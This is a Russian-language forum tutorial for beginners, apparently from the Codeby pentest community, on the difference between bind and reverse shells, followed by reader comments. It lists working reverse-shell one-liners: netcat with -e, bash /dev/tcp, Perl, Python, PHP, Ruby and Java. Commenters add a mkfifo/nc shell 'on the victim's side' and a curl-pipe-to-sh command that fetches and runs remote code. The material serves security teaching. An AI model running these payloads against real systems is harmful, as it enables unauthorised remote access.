• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья REVERSE или BIND shell? В чем разница?Какой выбрать?

Linux Console 1024x768.png


Приветствую Вас колеги. Сегодня появилась необходимость написать небольшой мануал для новичков в котором я попытаюсь донести в чем же таки разница между REVERSE и BIND шеллом и какие самые распространенные способы его получить существуют.

Это в первую очередь нужно мне для того что бы можно было ссылаться на этот мануал
в своих статьях,и чаще всего я буду упоминать этот мануал при прохождении дальнейших тасков в лаборатории тестирования на проникновения.

Итак.Для начала давайте попытаемся понять что такое SHELL?
Ну если не кормить вас линками на википедию и всякие умные высказывания - то на простом человеческом языке,SHELL - это оболочка консоли (в Windows это командная строка "cmd.exe") а (в Linux это терминал "bash,sh,zsh ... ") Ну а всякий раз когда вы слышите или видите такие страшные слова как REVERSE SHELL или BIND SHELL - это имеется ввиду что вы имеете доступ к удаленной (чужой) консоли,и отличаются они в первую очередь способом получения этого SHELL-а.

Так вот... Прежде всего любое TCP соединение представляет из себя клиент-серверное общение между компьютерами.В любом случаи какой то компьютер подключается к другому компьютеру,и тот компьютер к которому подключаются выступает в роли сервера.Это как ходить в гости)))) Вот тот кто принимает гостей -это у нас сервер,а тот кто ходит в гости - это у нас клиент)
Тут я думаю вроде более мение понятно)
А дальше все еще намного проще)

REVERSE SHELL - удаленная консоль ,когда мы выступаем в роли серверной части и вызываем коннект на себя. То есть это когда мы встречаем гостей у себя дома)И когда гости приходят - мы получаем доступ к их консоли.
BIND SHELL - удаленная консоль, когда в роли серверной части выступает удаленная машина,То есть это когда мы пришли в гости и получили доступ к чужой консоли.

Что же мы все на словах да на словах? Давайте перейдем к практике:
Использовать для демонстрации я буду утилиту NetCat (nc),которая по дефолту установлена на большинстве линукс машинах, и имеет в себе большой и нужный функционал(сканирование портов,передача файлов,удаленный шелл),а так же демонстрировать буду на локалхосте (127.0.0.1) .
Для начала давайте реализуем BIND shell: для этого на удаленной машине выполним команду
Код:
nc -e /bin/bash -nvlp 1337
-e /bin/bash -- команда которую нужно выполнить в случаи удачного подключения,в нашем случае это консоль bash-а которая будет работать интерактивно после подключения.
-n -- numeric-only (использовать только айпи адреса,не использовать dns имена)
-v -- более подробный вывод
-l -- listen-mode (режим слушателя ,который предназначен для входящих соединений)
-p -- порт на котором мы будем слушать

Таким образом мы с помощью утилиты неткат подняли мини серверную часть ,которая ждет входящие соединение на 1337 порту,и после того как туда придет соединение отдаст интерактивную консоль bash интерпритатора(терминала линукс).Если по простому то мы ждем гостей на 1337 порту ,и кто к нам первый придет - тому и пряник в виде шелла.
Так.Слушателя подняли.Теперь же логично что нам нужно подключится(сходить в гости) что бы получить шелл.
Для этого на другой машине мы выполним команду:
Код:
nc 127.0.0.1 1337
127.0.0.1 -- это айпи адрес машины которая ждет подключение
1337 -- это порт на котором нас ждут)))

Вообщем думаю понятно? Сходили втупую в гости на 1337 порт и получили пряник в виде шела)))

На скрине ниже справа - серверная часть,слева-клиентская.
bind_shell.png

Когда же применяется BIND SHELL ???
А актуален он тогда когда входящие соединения не блокируются сетевыми фаерволами и айпи адрес удаленной машины виден и доступен с любого сегмента сети.(К примеру веб сервер на котором размещен сайт всегда имеет выделенный айпи адрес,и мы можем к нему подключиться находясь в глубоком нате)

Теперь давайте про:
REVERSE SHELL
Бывают ,как вы все уже догадались, ситуации когда входящие соединения блокируются фаервовали.
Тогда на помощь к нам приходит REVERSE (от англ - обратный) SHELL
который совсем противоположный BIND SHELL-у, но реализуется он так же легко как и BIND. Единственно отличие - это то что серверную часть мы поднимаем у себя и вынуждаем удаленную машину подключатся к нам,но при подключении отдать нас свою консоль. ( Это как прийти к нам в гости со своим пряником в виде шелла)
Для этого все го лишь нужно поднять у себя листенер (слушатель|серверную часть) на каком нибудь порту:
Код:
nc -nvlp 1337
И на удаленной машине выполнить конект к нашему айпи с параметром -e
Код:
nc -e /bin/bash 127.0.0.1 1337
Думаю понятно тут что :
127.0.0.1 - это наш айпи адрес
1337 -- это порт который мы слушаем у себя.
reverse_shell.png


Когда же применяется REVERSE SHELL ??
А применяется ,как уже думаю догадались, когда входящие соединения блокируются и когда наш айпишник доступен для конекта(Это когда мы с удаленной машиной находимся в одном сегменте сети|скоупе, или когда у нас есть белый IP адрес)

Вот примерно на этом принципе строятся все REVERSE и BIND tcp соединения.

Но бывают ситуации когда NetCat не установлен в системе.В таких ситуация удаленный шелл (Remote Shell) можно вызвать стандартными средствами.

C помощью BASH:
Код:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

C помощью PERL:
Код:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

C помощью Python:
Код:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

C помощью PHP:
Код:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

C помощью Ruby:
Код:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


C помощью Java:
Код:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Более подробно про варианты реализации удаленного шелла стандартными средствами можете почитать и
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
15
За старания безусловно плюсик в карму. Но из статьи я бы выделил разве, что только пейлоады для атача сервака как аналог nc.
На самом деле всю эту статью можно уместить буквально в одну фразу.
Bind используем когда жертва не за натом. Реверс соотвественно когда за Натом.
 
  • Нравится
Реакции: Si1ver
S

Si1ver

Статья хорошая , есть что почерпнуть.
Аналогии про гостей доходчиво все объясняют.

А пользователь SooLFaa внес конкретики)
 
  • Нравится
Реакции: Dmitry88 и <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
За старания безусловно плюсик в карму. Но из статьи я бы выделил разве, что только пейлоады для атача сервака как аналог nc.
На самом деле всю эту статью можно уместить буквально в одну фразу.
Bind используем когда жертва не за натом. Реверс соотвественно когда за Натом.
Я напомню , что статья для новичков)
 
I

Inject0r

Bind используем когда жертва не за натом. Реверс соотвественно когда за Натом.

Безусловно. Но статья эта для новичков. Причем новичков даже не в пентесте, а в сетевых технологиях, с этой задачей статья хорошо справляется) Единственно я не вижу смысла заниматься пентестами людям, которые в сетевых технологиях нули и не знаю разницы между коммутатором и маршрутизатором. Уже не говоря о разнице между коммутатором и концентратором :) А уж тем более не говоря о разнице между DNAT и SNAT :)

Вообще, побольше таких статей нужно, чтобы всё разжевано было. Кому-то одна статья подойдет, кому-то другая, так или иначе лучше много информации, чем мало) Да и в хорошо известной информации можно найти что-то новое!

Мне показались полезными методы удаленного шела через Bash, Perl, PHP, Java. Не знал про такие способы.
 
Последнее редактирование модератором:

veterok

Green Team
27.09.2016
15
8
BIT
7
Безусловно. Но статья эта для новичков. Причем новичков даже не в пентесте, а в сетевых технологиях, с этой задачей статья хорошо справляется) Единственно я не вижу смысла заниматься пентестами людям, которые в сетевых технологиях нули и не знаю разницы между коммутатором и маршрутизатором. Уже не говоря о разнице между коммутатором и концентратором :) А уж тем более не говоря о разнице между DNAT и SNAT :)

Вообще, побольше таких статей нужно, чтобы всё разжевано было. Кому-то одна статья подойдет, кому-то другая, так или иначе лучше много информации, чем мало) Да и в хорошо известной информации можно найти что-то новое!

Мне показались полезными методы удаленного шела через Bash, Perl, PHP, Java. Не знал про такие способы.
Подростающему поколению проще учиться будет. Мы с азов начинале, а для них уже готовые материалы будут.
 
D

DoberGroup

К примеру веб сервер на котором размещен сайт всегда имеет выделенный айпи адрес,и мы можем к нему подключиться находясь в глубоком нате
Это очень смелое заявление.
Я хочу напомнить про:
1. CloudFlare и аналоги - проксируют трафик по указанным правилам (например, 80 и 443 пройдет, другие - нет)
2. Облачные провайдеры (Amazon AWS, Digital Ocean, Google Cloud, etc.) - даже если веб-сервер в них - это VPS, а не микросервис, все равно у VPS не маршрутизируемый адрес, а для выделенных IP отдельно настраиваются правила маршрутизации.
 
  • Нравится
Реакции: kservice и <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
Это очень смелое заявление.
Я хочу напомнить про:
1. CloudFlare и аналоги - проксируют трафик по указанным правилам (например, 80 и 443 пройдет, другие - нет)
2. Облачные провайдеры (Amazon AWS, Digital Ocean, Google Cloud, etc.) - даже если веб-сервер в них - это VPS, а не микросервис, все равно у VPS не маршрутизируемый адрес, а для выделенных IP отдельно настраиваются правила маршрутизации.
Верно замечено. Есть технике по обнаружение IP за клаудфларе. ;-)
 
D

DoberGroup

Есть технике по обнаружение IP за клаудфларе.
Есть. Но она базируется на том же принуждении сервера открыть исходящее соединение.
Ну, это если не считать поиск устаревших записей в NSах, до переноса за CF, иногда администраторы забывают их очистить. Сам забыл как-то
 
  • Нравится
Реакции: <~DarkNode~>
I

Inject0r

Если есть nc, но установлена безопасная сборка без опции -e:

На стороне жертвы:
rm /tmp/pipe; mkfifo /tmp/pipe; cat /tmp/pipe|/bin/sh -i 2>&1|nc 10.0.0.189 1234 > /tmp/pipe

На стороне атакующего:
nc -lvp 1234
[doublepost=1504187822,1504187707][/doublepost]
Есть. Но она базируется на том же принуждении сервера открыть исходящее соединение.
Ну, это если не считать поиск устаревших записей в NSах, до переноса за CF, иногда администраторы забывают их очистить. Сам забыл как-то
Поделись информацией)
 
  • Нравится
Реакции: pp11, sormat и 200_OK
V

Vol4kor4

То есть это программа для отслеживания и получения файлов другого сервера?
 

r4z0r5

Green Team
03.04.2018
14
18
BIT
0
Очень классная статья, хотел вписать свои примеры, но в статье и так всё есть.
Вот кстати ещё с просторов:
Код:
curl https://shell.now.sh/1.1.1.1:4444 | sh
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!